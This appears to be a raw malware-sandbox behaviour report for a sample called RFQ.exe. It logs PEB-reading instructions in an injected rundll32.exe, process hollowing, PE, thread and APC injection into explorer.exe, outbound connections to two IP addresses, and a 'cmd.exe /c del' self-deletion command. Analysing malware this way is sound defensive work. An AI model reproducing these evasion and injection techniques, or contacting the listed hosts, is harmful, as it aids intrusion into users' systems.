Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466A70E mov eax, dword ptr fs:[00000030h]	14_2_0466A70E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0465F716 mov eax, dword ptr fs:[00000030h]	14_2_0465F716
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046CFF10 mov eax, dword ptr fs:[00000030h]	14_2_046CFF10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046CFF10 mov eax, dword ptr fs:[00000030h]	14_2_046CFF10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0470070D mov eax, dword ptr fs:[00000030h]	14_2_0470070D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0470070D mov eax, dword ptr fs:[00000030h]	14_2_0470070D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046737F5 mov eax, dword ptr fs:[00000030h]	14_2_046737F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04648794 mov eax, dword ptr fs:[00000030h]	14_2_04648794
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B7794 mov eax, dword ptr fs:[00000030h]	14_2_046B7794
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B7794 mov eax, dword ptr fs:[00000030h]	14_2_046B7794
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B7794 mov eax, dword ptr fs:[00000030h]	14_2_046B7794
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04701074 mov eax, dword ptr fs:[00000030h]	14_2_04701074
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F2073 mov eax, dword ptr fs:[00000030h]	14_2_046F2073
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04650050 mov eax, dword ptr fs:[00000030h]	14_2_04650050
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04650050 mov eax, dword ptr fs:[00000030h]	14_2_04650050
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466002D mov eax, dword ptr fs:[00000030h]	14_2_0466002D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466002D mov eax, dword ptr fs:[00000030h]	14_2_0466002D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466002D mov eax, dword ptr fs:[00000030h]	14_2_0466002D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466002D mov eax, dword ptr fs:[00000030h]	14_2_0466002D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466002D mov eax, dword ptr fs:[00000030h]	14_2_0466002D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0464B02A mov eax, dword ptr fs:[00000030h]	14_2_0464B02A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0464B02A mov eax, dword ptr fs:[00000030h]	14_2_0464B02A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0464B02A mov eax, dword ptr fs:[00000030h]	14_2_0464B02A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0464B02A mov eax, dword ptr fs:[00000030h]	14_2_0464B02A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04704015 mov eax, dword ptr fs:[00000030h]	14_2_04704015
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04704015 mov eax, dword ptr fs:[00000030h]	14_2_04704015
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B7016 mov eax, dword ptr fs:[00000030h]	14_2_046B7016
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B7016 mov eax, dword ptr fs:[00000030h]	14_2_046B7016
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B7016 mov eax, dword ptr fs:[00000030h]	14_2_046B7016
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046358EC mov eax, dword ptr fs:[00000030h]	14_2_046358EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046CB8D0 mov eax, dword ptr fs:[00000030h]	14_2_046CB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046CB8D0 mov ecx, dword ptr fs:[00000030h]	14_2_046CB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046CB8D0 mov eax, dword ptr fs:[00000030h]	14_2_046CB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046CB8D0 mov eax, dword ptr fs:[00000030h]	14_2_046CB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046CB8D0 mov eax, dword ptr fs:[00000030h]	14_2_046CB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046CB8D0 mov eax, dword ptr fs:[00000030h]	14_2_046CB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046620A0 mov eax, dword ptr fs:[00000030h]	14_2_046620A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046620A0 mov eax, dword ptr fs:[00000030h]	14_2_046620A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046620A0 mov eax, dword ptr fs:[00000030h]	14_2_046620A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046620A0 mov eax, dword ptr fs:[00000030h]	14_2_046620A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046620A0 mov eax, dword ptr fs:[00000030h]	14_2_046620A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046620A0 mov eax, dword ptr fs:[00000030h]	14_2_046620A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046790AF mov eax, dword ptr fs:[00000030h]	14_2_046790AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466F0BF mov ecx, dword ptr fs:[00000030h]	14_2_0466F0BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466F0BF mov eax, dword ptr fs:[00000030h]	14_2_0466F0BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466F0BF mov eax, dword ptr fs:[00000030h]	14_2_0466F0BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04639080 mov eax, dword ptr fs:[00000030h]	14_2_04639080
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B3884 mov eax, dword ptr fs:[00000030h]	14_2_046B3884
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B3884 mov eax, dword ptr fs:[00000030h]	14_2_046B3884
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0463C962 mov eax, dword ptr fs:[00000030h]	14_2_0463C962
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0463B171 mov eax, dword ptr fs:[00000030h]	14_2_0463B171
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0463B171 mov eax, dword ptr fs:[00000030h]	14_2_0463B171
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0465B944 mov eax, dword ptr fs:[00000030h]	14_2_0465B944
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0465B944 mov eax, dword ptr fs:[00000030h]	14_2_0465B944
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04654120 mov eax, dword ptr fs:[00000030h]	14_2_04654120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04654120 mov eax, dword ptr fs:[00000030h]	14_2_04654120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04654120 mov eax, dword ptr fs:[00000030h]	14_2_04654120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04654120 mov eax, dword ptr fs:[00000030h]	14_2_04654120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04654120 mov ecx, dword ptr fs:[00000030h]	14_2_04654120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466513A mov eax, dword ptr fs:[00000030h]	14_2_0466513A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466513A mov eax, dword ptr fs:[00000030h]	14_2_0466513A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04639100 mov eax, dword ptr fs:[00000030h]	14_2_04639100
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04639100 mov eax, dword ptr fs:[00000030h]	14_2_04639100
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04639100 mov eax, dword ptr fs:[00000030h]	14_2_04639100
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0463B1E1 mov eax, dword ptr fs:[00000030h]	14_2_0463B1E1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0463B1E1 mov eax, dword ptr fs:[00000030h]	14_2_0463B1E1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0463B1E1 mov eax, dword ptr fs:[00000030h]	14_2_0463B1E1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046C41E8 mov eax, dword ptr fs:[00000030h]	14_2_046C41E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046661A0 mov eax, dword ptr fs:[00000030h]	14_2_046661A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046661A0 mov eax, dword ptr fs:[00000030h]	14_2_046661A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B69A6 mov eax, dword ptr fs:[00000030h]	14_2_046B69A6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B51BE mov eax, dword ptr fs:[00000030h]	14_2_046B51BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B51BE mov eax, dword ptr fs:[00000030h]	14_2_046B51BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B51BE mov eax, dword ptr fs:[00000030h]	14_2_046B51BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B51BE mov eax, dword ptr fs:[00000030h]	14_2_046B51BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466A185 mov eax, dword ptr fs:[00000030h]	14_2_0466A185
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0465C182 mov eax, dword ptr fs:[00000030h]	14_2_0465C182
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04662990 mov eax, dword ptr fs:[00000030h]	14_2_04662990
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046EB260 mov eax, dword ptr fs:[00000030h]	14_2_046EB260
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046EB260 mov eax, dword ptr fs:[00000030h]	14_2_046EB260
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04708A62 mov eax, dword ptr fs:[00000030h]	14_2_04708A62
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0467927A mov eax, dword ptr fs:[00000030h]	14_2_0467927A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04639240 mov eax, dword ptr fs:[00000030h]	14_2_04639240
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04639240 mov eax, dword ptr fs:[00000030h]	14_2_04639240
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04639240 mov eax, dword ptr fs:[00000030h]	14_2_04639240
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04639240 mov eax, dword ptr fs:[00000030h]	14_2_04639240
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046FEA55 mov eax, dword ptr fs:[00000030h]	14_2_046FEA55
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046C4257 mov eax, dword ptr fs:[00000030h]	14_2_046C4257
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04674A2C mov eax, dword ptr fs:[00000030h]	14_2_04674A2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04674A2C mov eax, dword ptr fs:[00000030h]	14_2_04674A2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04648A0A mov eax, dword ptr fs:[00000030h]	14_2_04648A0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04635210 mov eax, dword ptr fs:[00000030h]	14_2_04635210
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04635210 mov ecx, dword ptr fs:[00000030h]	14_2_04635210
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04635210 mov eax, dword ptr fs:[00000030h]	14_2_04635210
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04635210 mov eax, dword ptr fs:[00000030h]	14_2_04635210
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0463AA16 mov eax, dword ptr fs:[00000030h]	14_2_0463AA16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0463AA16 mov eax, dword ptr fs:[00000030h]	14_2_0463AA16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04653A1C mov eax, dword ptr fs:[00000030h]	14_2_04653A1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046FAA16 mov eax, dword ptr fs:[00000030h]	14_2_046FAA16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046FAA16 mov eax, dword ptr fs:[00000030h]	14_2_046FAA16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04662AE4 mov eax, dword ptr fs:[00000030h]	14_2_04662AE4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04662ACB mov eax, dword ptr fs:[00000030h]	14_2_04662ACB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046352A5 mov eax, dword ptr fs:[00000030h]	14_2_046352A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046352A5 mov eax, dword ptr fs:[00000030h]	14_2_046352A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046352A5 mov eax, dword ptr fs:[00000030h]	14_2_046352A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046352A5 mov eax, dword ptr fs:[00000030h]	14_2_046352A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046352A5 mov eax, dword ptr fs:[00000030h]	14_2_046352A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0464AAB0 mov eax, dword ptr fs:[00000030h]	14_2_0464AAB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0464AAB0 mov eax, dword ptr fs:[00000030h]	14_2_0464AAB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466FAB0 mov eax, dword ptr fs:[00000030h]	14_2_0466FAB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466D294 mov eax, dword ptr fs:[00000030h]	14_2_0466D294
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466D294 mov eax, dword ptr fs:[00000030h]	14_2_0466D294
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0463DB60 mov ecx, dword ptr fs:[00000030h]	14_2_0463DB60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04663B7A mov eax, dword ptr fs:[00000030h]	14_2_04663B7A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04663B7A mov eax, dword ptr fs:[00000030h]	14_2_04663B7A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0463DB40 mov eax, dword ptr fs:[00000030h]	14_2_0463DB40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04708B58 mov eax, dword ptr fs:[00000030h]	14_2_04708B58
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0463F358 mov eax, dword ptr fs:[00000030h]	14_2_0463F358
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F131B mov eax, dword ptr fs:[00000030h]	14_2_046F131B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046603E2 mov eax, dword ptr fs:[00000030h]	14_2_046603E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046603E2 mov eax, dword ptr fs:[00000030h]	14_2_046603E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046603E2 mov eax, dword ptr fs:[00000030h]	14_2_046603E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046603E2 mov eax, dword ptr fs:[00000030h]	14_2_046603E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046603E2 mov eax, dword ptr fs:[00000030h]	14_2_046603E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046603E2 mov eax, dword ptr fs:[00000030h]	14_2_046603E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0465DBE9 mov eax, dword ptr fs:[00000030h]	14_2_0465DBE9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B53CA mov eax, dword ptr fs:[00000030h]	14_2_046B53CA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046B53CA mov eax, dword ptr fs:[00000030h]	14_2_046B53CA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04664BAD mov eax, dword ptr fs:[00000030h]	14_2_04664BAD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04664BAD mov eax, dword ptr fs:[00000030h]	14_2_04664BAD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04664BAD mov eax, dword ptr fs:[00000030h]	14_2_04664BAD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04705BA5 mov eax, dword ptr fs:[00000030h]	14_2_04705BA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046F138A mov eax, dword ptr fs:[00000030h]	14_2_046F138A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04641B8F mov eax, dword ptr fs:[00000030h]	14_2_04641B8F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04641B8F mov eax, dword ptr fs:[00000030h]	14_2_04641B8F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_046ED380 mov ecx, dword ptr fs:[00000030h]	14_2_046ED380
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_04662397 mov eax, dword ptr fs:[00000030h]	14_2_04662397
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_0466B390 mov eax, dword ptr fs:[00000030h]	14_2_0466B390

Source: C:\Users\user\Desktop\RFQ.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\RFQ.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Network Connect: 52.58.78.16 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 144.208.69.172 80			Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\RFQ.exe

Memory written: C:\Users\user\Desktop\RFQ.exe base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\RFQ.exe	Thread register set: target process: 3440			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread register set: target process: 3440			Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\RFQ.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\RFQ.exe

Section unmapped: C:\Windows\SysWOW64\rundll32.exe base address: 11E0000

Jump to behavior

Source: C:\Users\user\Desktop\RFQ.exe	Process created: C:\Users\user\Desktop\RFQ.exe {path}			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\RFQ.exe'			Jump to behavior

Source: explorer.exe, 00000008.00000000.414824647.0000000004F80000.00000004.00000001.sdmp, rundll32.exe, 0000000E.00000002.595101416.0000000003200000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000008.00000000.397034735.00000000008B8000.00000004.00000020.sdmp, rundll32.exe, 0000000E.00000002.595101416.0000000003200000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000008.00000000.397899015.0000000000EE0000.00000002.00000001.sdmp, rundll32.exe, 0000000E.00000002.595101416.0000000003200000.00000002.00000001.sdmp	Binary or memory string: &Program Manager
Source: explorer.exe, 00000008.00000000.397899015.0000000000EE0000.00000002.00000001.sdmp, rundll32.exe, 0000000E.00000002.595101416.0000000003200000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\Desktop\RFQ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
